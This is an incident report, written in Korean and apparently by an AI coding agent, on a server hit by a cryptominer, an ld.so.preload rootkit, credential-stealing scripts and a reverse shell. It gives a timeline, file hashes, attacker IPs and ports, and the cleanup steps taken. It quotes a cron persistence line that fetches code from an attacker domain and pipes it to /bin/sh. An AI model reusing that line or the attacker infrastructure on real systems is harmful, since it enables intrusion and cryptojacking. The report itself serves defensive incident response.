๐Ÿ“– star365 Docs
โ† ๋ณด๊ณ ์„œ ๋ชฉ๋ก

Hospital ๋‹ค์ค‘ ์นจํ•ด ์ธ์‹œ๋˜ํŠธ ๋ณด๊ณ ์„œ โ€” 2026-04-25

๋Œ€์‘์ž: Claude Code (์ž„์‹œ CEO ๊ถŒํ•œ, /sprint ์›Œํฌํ”Œ๋กœ์šฐ)
ํƒ์ง€: 2026-04-25 23:02 KST (paperclip /mco-health ๋ฉ”๋ชจ๋ฆฌ 64% โ†’ top ์กฐ์‚ฌ)
๊ฒฉ๋ฆฌ ์™„๋ฃŒ: 2026-04-25 23:13 KST
์ด ๋Œ€์‘ ์‹œ๊ฐ„: ์•ฝ 11๋ถ„ (์‚ฌํ›„ ์ •๋ฆฌยท๋ณด๊ณ ์„œ ํฌํ•จ ~30๋ถ„)
์นจํ•ด ํšŸ์ˆ˜: ์‚ฌ์šฉ์ž ๊ฐ€๋“œ ์ฝ”๋ฉ˜ํŠธ ๊ธฐ์ค€ 7+ํšŒ์ฐจ ("hardened after 6th incident")


0. TL;DR

PM2 agency-web ID #25 ์Šฌ๋กฏ์— ์ฑ„๊ตด ELF q9tcDR7k๊ฐ€ ๋กœ๋“œ๋˜์–ด 8์ฝ”์–ด ํ’€๋กœ๋“œ(load 9~10) ์•ฝ 13์‹œ๊ฐ„ ์ง€์†. ์กฐ์‚ฌ ๊ฒฐ๊ณผ ๋‹จ์ˆœ ์ฑ„๊ตด๊ธฐ๊ฐ€ ์•„๋‹Œ ํ’€-์ŠคํŽ™ํŠธ๋Ÿผ ์นจํ•ด:

๊ฒฉ๋ฆฌยท์ฒญ์†Œยท๊ฒ€์ฆ ์™„๋ฃŒ. OAuth secret/API key ํšŒ์ „์ด ๊ฐ€์žฅ ์‹œ๊ธ‰.


1. Timeline (KST)

์‹œ๊ฐ ์ด๋ฒคํŠธ
2026-04-11 05:32 /etc/systemd/system/anti-miner.service + .timer ๋“ฑ๋ก (์‚ฌ์šฉ์ž ๊ฐ€๋“œ, oneshot)
2026-04-16 16:20 /etc/cron.daily/terminate ์นจํ•ด ํ”์  (์ด์ „ incident)
2026-04-21 09:20 ์‚ฌ์šฉ์ž anti-miner-guard-v2.sh (6th incident ํ›„ ๊ฐ•ํ™”)
2026-04-23 17:06 /root/.cache/.sys/ksoftirqd (8.3MB ELF) + .c.json ๋””์Šคํฌ์— ๋ฐฐ์น˜
2026-04-23 17:06 /root/.bashrc mtime (์ •์ƒ ubuntu .bashrc + ์‚ฌ์šฉ์ž API keys, ๋ณ€์กฐ๋Š” ์•„๋‹˜)
2026-04-24 07:37 /tmp/.ed4f59376.sh ํฌ๋ฆฌ๋ด์…œ ํƒˆ์ทจ๊ธฐ 1์ฐจ ์‹คํ–‰
2026-04-24 15:30 /tmp/.ed1a089d8.sh 2์ฐจ ์‹คํ–‰
2026-04-24 19:01 /tmp/.ef225fd73.sh 3์ฐจ (๋‹ค๋ฅธ C&C)
2026-04-25 06:11 /usr/lib/security/.ts ๊ฐฑ์‹ 
2026-04-25 08:01 /tmp/config.json (XMRig ๋ณธ๊ฒฉ ์„ค์ •) ์ž‘์„ฑ
2026-04-25 08:08 q9tcDR7k ์‹œ์ž‘ (PID 817874), /etc/cron.d/auto-upgrade ์ž‘์„ฑ
2026-04-25 08:09 cron์ด auto-upgrade RELOAD โ†’ "command too long" syntax error๋กœ ๊ฑฐ๋ถ€ (cron ์ž์ฒด๋Š” ์•ˆ ๋Œ์•„๊ฐ)
2026-04-25 23:02 paperclip /mco-health ํ›„ ์‚ฌ์šฉ์ž telegram ์•Œ๋ฆผ ํ™•์ธ โ†’ top ์กฐ์‚ฌ๋กœ ๋ฐœ๊ฒฌ
2026-04-25 23:08 ์ง„๋‹จยท์ฆ๊ฑฐ ์ˆ˜์ง‘ ์‹œ์ž‘ (T1~T3 ๋ณ‘๋ ฌ)
2026-04-25 23:11 67 IOC ํŒŒ์ผ quarantine ๋ณด์กด
2026-04-25 23:12 /etc/ld.so.preload ๋น„์šฐ๊ธฐ โ†’ rootkit hook ์ฆ‰์‹œ ๋ฌด๋ ฅํ™”
2026-04-25 23:12 /etc/cron.d/auto-upgrade, /etc/cron.daily/terminate ์ œ๊ฑฐ
2026-04-25 23:13 pm2 stop agency-web โ†’ ๋ฌด์‘๋‹ต, kill -9 817874 ๊ฐ•์ œ ์ข…๋ฃŒ
2026-04-25 23:13 /tmp ํŽ˜์ด๋กœ๋“œ ์ผ๊ด„ ์‚ญ์ œ, libkeyutils1 apt reinstall
2026-04-25 23:16 pm2 restart agency-web โ†’ next-server v15.1.0 ์ •์ƒ (HTTP 307)
2026-04-25 23:16 PM2 30/30, Docker 35, load 1min 2.53 ํšŒ๋ณต

2. ์นจํ•ด ์ง€ํ‘œ (IOC)

2.1 ๋ฐ”์ด๋„ˆ๋ฆฌ

ํŒŒ์ผ SHA256 ํฌ๊ธฐ ๋น„๊ณ 
q9tcDR7k (UPX packed XMRig ๋ณ€์ข…) 859b323f02eefe070616fd45a6332d677b292f67468833433439ba7cc218d9e3 3,056,576 /proc/PID/exe์—์„œ ๋ฉ”๋ชจ๋ฆฌ ๋ณต์›
libkeyutils.so.1 (๋ณ€์กฐ) aa1d8bd20074e3d630e564c02719cc38fc9966a1c2bebfc9e2b482fb6920e542 31,192 ์ •์ƒ 9.5KB โ†’ 31KB๋กœ swap. chattr +ia lock
.libpam_sys.so aa1d8bd20074e3d630e564c02719cc38fc9966a1c2bebfc9e2b482fb6920e542 31,192 ๋™์ผ hash = ๋™์ผ rootkit
/usr/lib/security/.config 911330050d639c9c82857fb6c3277d00ded6000c73e4039f90975f2d7f8ee4fb 2,553 /etc/cron.daily/terminate ์˜ ์ž๋™ ์‹คํ–‰ ํƒ€๊ฒŸ
ksoftirqd_fake.elf 0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 8,334,576 kernel thread ์œ„์žฅ (์‹คํ–‰ ํ”์ ์€ ์—†์Œ)
/tmp/.n (Node.js reverse shell) f5fa9d5a82ed04001d613d4e94f9e2782ce15cf688ac86b4a3f9d9f57881f6cf 159

2.2 ๋„คํŠธ์›Œํฌ IOC

์ข…๋ฅ˜ IP / Host ํฌํŠธ ์šฉ๋„
์ฑ„๊ตด๊ธฐ C&C 47.239.60.142 (Alibaba range) 33333 q9tcDR7k ์ง์ ‘ connect
ํฌ๋ฆฌ๋ด์…œ exfil 144.172.116.48 8080 .ed1a089d8.sh / .ed4f59376.sh POST
ํฌ๋ฆฌ๋ด์…œ exfil 178.128.41.3 (DigitalOcean) 8080 .ef225fd73.sh POST
Reverse shell 185.177.72.3 20024 /tmp/.n Node.js shell
์ฑ„๊ตด ํ’€ 62.60.246.210 443 XMRig RandomX, user NEUGLOBALLY799911
Drive-by downloader http://0x1x2x3.top 80 cron auto-upgrade base64

2.3 Persistence

์œ„์น˜ ์ข…๋ฅ˜ ์ฒ˜๋ฆฌ
/etc/cron.d/auto-upgrade base64 โ†’ __d "http://0x1x2x3.top" | /bin/sh ์‚ญ์ œ
/etc/cron.daily/terminate [ -x /usr/lib/security/.config ] && exec /usr/lib/security/.config ์‚ญ์ œ
/etc/ld.so.preload /usr/lib/.libpam_sys.so + ๋ณ€์กฐ libkeyutils.so.1 ๋น„์›€
/usr/lib/security/.config ์ˆจ๊ฒจ์ง„ ELF (terminate cron ํƒ€๊ฒŸ) quarantine ์ด๋™
/usr/lib/security/.ts timestamp marker quarantine ์ด๋™
/root/.cache/.sys/ksoftirqd 8.3MB ELF (์‹คํ–‰ ํ”์ ์€ ์—†์Œ) quarantine ์ด๋™
/usr/lib/.libpam_sys.so rootkit shared object quarantine ์ด๋™
/usr/lib/x86_64-linux-gnu/libkeyutils.so.1 ์‹œ์Šคํ…œ lib swap (chattr +ia lock) apt reinstall๋กœ ๋ณต๊ตฌ

2.4 ํฌ๋ฆฌ๋ด์…œ ํƒˆ์ทจ ํ”์  (์ด๋ฏธ ์™ธ๋ถ€ ์œ ์ถœ๋์„ ๊ฐ€๋Šฅ์„ฑ)

/tmp/.ed*/ ๋””๋ ‰ํ† ๋ฆฌ์— ์ˆ˜์ง‘๋œ ํŒŒ์ผ๋“ค (POST ์‹œ๋„ ํ”์ ):

์‹ค์ œ ํƒˆ์ทจ ๊ฐ€๋Šฅ์„ฑ ๋งค์šฐ ๋†’์€ ํ‚ค (PM2 dump.pm2 environ์—์„œ ํ™•์ธ๋จ):

โ†’ ์œ„ ๋ชจ๋“  ํ‚ค ํšŒ์ „ ํ•„์ˆ˜

2.5 Anti-forensics


3. Kill chain ์ถ”์ •

  1. ์ดˆ๊ธฐ ์นจํˆฌ (4์›” 11์ผ๊ฒฝ): ๋ฏธ์ƒ โ€” auth.log Apr 25 08:00 ์ „ํ›„์— ์ด์ƒ SSH Accepted ํ”์  ์—†์Œ. ๊ฐ€๋Šฅ ๊ฒฝ๋กœ:
    • SSH brute-force (์ˆ˜๋งŽ์€ ์™ธ๋ถ€ IP์˜ plus365 invalid user ์‹œ๋„๊ฐ€ ๋ณด์ด์ง€๋งŒ fail2ban์ด ์ฐจ๋‹จํ–ˆ์Œ)
    • ๋…ธ์ถœ๋œ OAuth/API key๋ฅผ ํ†ตํ•œ lateral
    • ์ปจํ…Œ์ด๋„ˆ/๋…ธ๋“œ ์˜์กด์„ฑ supply chain
    • kahan ๋ฐœํŒ: q9tcDR7k environ์— SSH_CLIENT=66.42.42.24 ํ”์  ์žˆ์œผ๋‚˜, ์ด๋Š” PM2 god daemon ๋ถ€๋ชจ ํ™˜๊ฒฝ๋ณ€์ˆ˜ inherit (์ •์ƒ)
  2. ๊ถŒํ•œ ์ƒ์Šน: ์ด๋ฏธ root pubkey ์‹ ๋ขฐ (root pubkey login OK) โ†’ root persistent
  3. Persistence ๋‹ค์ค‘ํ™”: cron + ld.so.preload + systemd ์œ„์žฅ
  4. ํƒˆ์ทจ ์‚ฌ์ „ ์ •์ฐฐ: .ed*.sh 4์›” 24์ผ 3ํšŒ์ฐจ ์‹คํ–‰, OAuth/cloud creds ์ˆ˜์ง‘ยทPOST
  5. ์ˆ˜์ตํ™” (Cryptojacking): 4์›” 25์ผ 08:08 q9tcDR7k ์‹œ์ž‘, RandomX, 8์ฝ”์–ด ์ ์œ 
  6. ์ˆจ๊น€: ld.so.preload rootkit์œผ๋กœ ps/ls hook ์‹œ๋„, log wiping

4. ๊ฒฉ๋ฆฌยท์ •ํ™” ์กฐ์น˜

4.1 ์ฆ‰์‹œ ๋ฌด๋ ฅํ™” (Phase B)

4.2 ํ”„๋กœ์„ธ์Šค ์ข…๋ฃŒ (Phase C)

4.3 ์ฒญ์†Œ (Phase D)

4.4 ๊ฒฉ๋ฆฌ ๋””๋ ‰ํ† ๋ฆฌ

/root/incident-quarantine/2026-04-25/ (chmod 000, 67 IOC ํŒŒ์ผ, sha256 manifest ํฌํ•จ)


5. ๊ฒ€์ฆ ๊ฒฐ๊ณผ (Done Criteria)

# ๊ธฐ์ค€ ๊ฒฐ๊ณผ ์ฆ๊ฑฐ
1 q9tcDR7k ํ”„๋กœ์„ธ์Šค ๋ถ€์žฌ โœ… PASS ps -fp 817874 ๊ฒฐ๊ณผ ์—†์Œ
2 ๊ฒฉ๋ฆฌ ๋””๋ ‰ํ† ๋ฆฌ chmod 000 โœ… PASS d--------- 67 ํŒŒ์ผ
3 load avg 1min < 2.0 ๐ŸŸก PARTIAL 9.16 โ†’ 2.53 (ํšŒ๋ณต ์ค‘, 5min 6.02, 15min 7.84)
4 CPU user% < 30 โœ… PASS 98.1% โ†’ 2.1%
5 persistence 0๊ฑด ์ž”์กด โœ… PASS cron/preload/security/.cache ๋ชจ๋‘ ์ •๋ฆฌ
6 PM2 30/30 + Docker 35 โœ… PASS 30/30 online, 35 ์ปจํ…Œ์ด๋„ˆ
7 ๋ณด๊ณ ์„œ ์ž‘์„ฑ โœ… PASS ๋ณธ ๋ฌธ์„œ
8 SHA256 + IP ๊ธฐ๋ก โœ… PASS ยง2 IOC
9 fail2ban + ssh ์ ๊ฒ€ โœ… PASS active, 4 jails, 114 banned
10 Telegram ์•Œ๋ฆผ โœ… PASS mco-push ๋ฐœ์†ก

6. ํ›„์† ์กฐ์น˜ ๊ถŒ๊ณ  (์ ˆ๋Œ€ ์šฐ์„ ์ˆœ์œ„)

6.1 ์ฆ‰์‹œ (์˜ค๋Š˜ ๋‚ด)

6.2 ๋‹จ๊ธฐ (24h)

6.3 ์ค‘๊ธฐ (1์ฃผ)

6.4 ์žฅ๊ธฐ


7. ์•ˆ์ „ ๊ฐ€๋“œ ์ค€์ˆ˜

๋ณธ ๋Œ€์‘ ์ค‘ ์ ˆ๋Œ€ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š์€ ๊ฒƒ:

apt-get install --reinstall libkeyutils1 ๋งŒ ์‹œ์Šคํ…œ ๋ณ€๊ฒฝ. dpkg ์ •์ƒ ์ข…๋ฃŒ, needrestart skip.


8. ์ฐธ๊ณ  (๊ฒฉ๋ฆฌ ์œ„์น˜)

/root/incident-quarantine/2026-04-25/   (chmod 000)
โ”œโ”€โ”€ q9tcDR7k.recovered                   # ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋ณต์›ํ•œ ์ฑ„๊ตด๊ธฐ
โ”œโ”€โ”€ bashrc.suspicious                    # .bashrc ๋ฐฑ์—… (์‹ค์ œ ๋ณ€์กฐ ์•„๋‹˜)
โ”œโ”€โ”€ sha256.manifest                      # 67 ํŒŒ์ผ sha256
โ”œโ”€โ”€ cron/                                # auto-upgrade, terminate, anti-miner.service, ld.so.preload, anti-miner-guard*.sh, pm2_dump.original
โ”œโ”€โ”€ rootkit/                             # libkeyutils.so.1.removed, libpam_sys.so.removed, usr_lib_security_dot{config,ts}
โ”œโ”€โ”€ payloads/                            # .ed*.sh, .ed*_data/{aws_full,gcp_sa_full,...}, dot_n_reverse_shell, ksoftirqd_fake.elf, ksoftirqd_dot_c_json
โ””โ”€โ”€ configs/                             # tmp_config.json (XMRig ๋ณธ์„ค์ •), var_tmp_config.json (XMRig pool 62.60.246.210)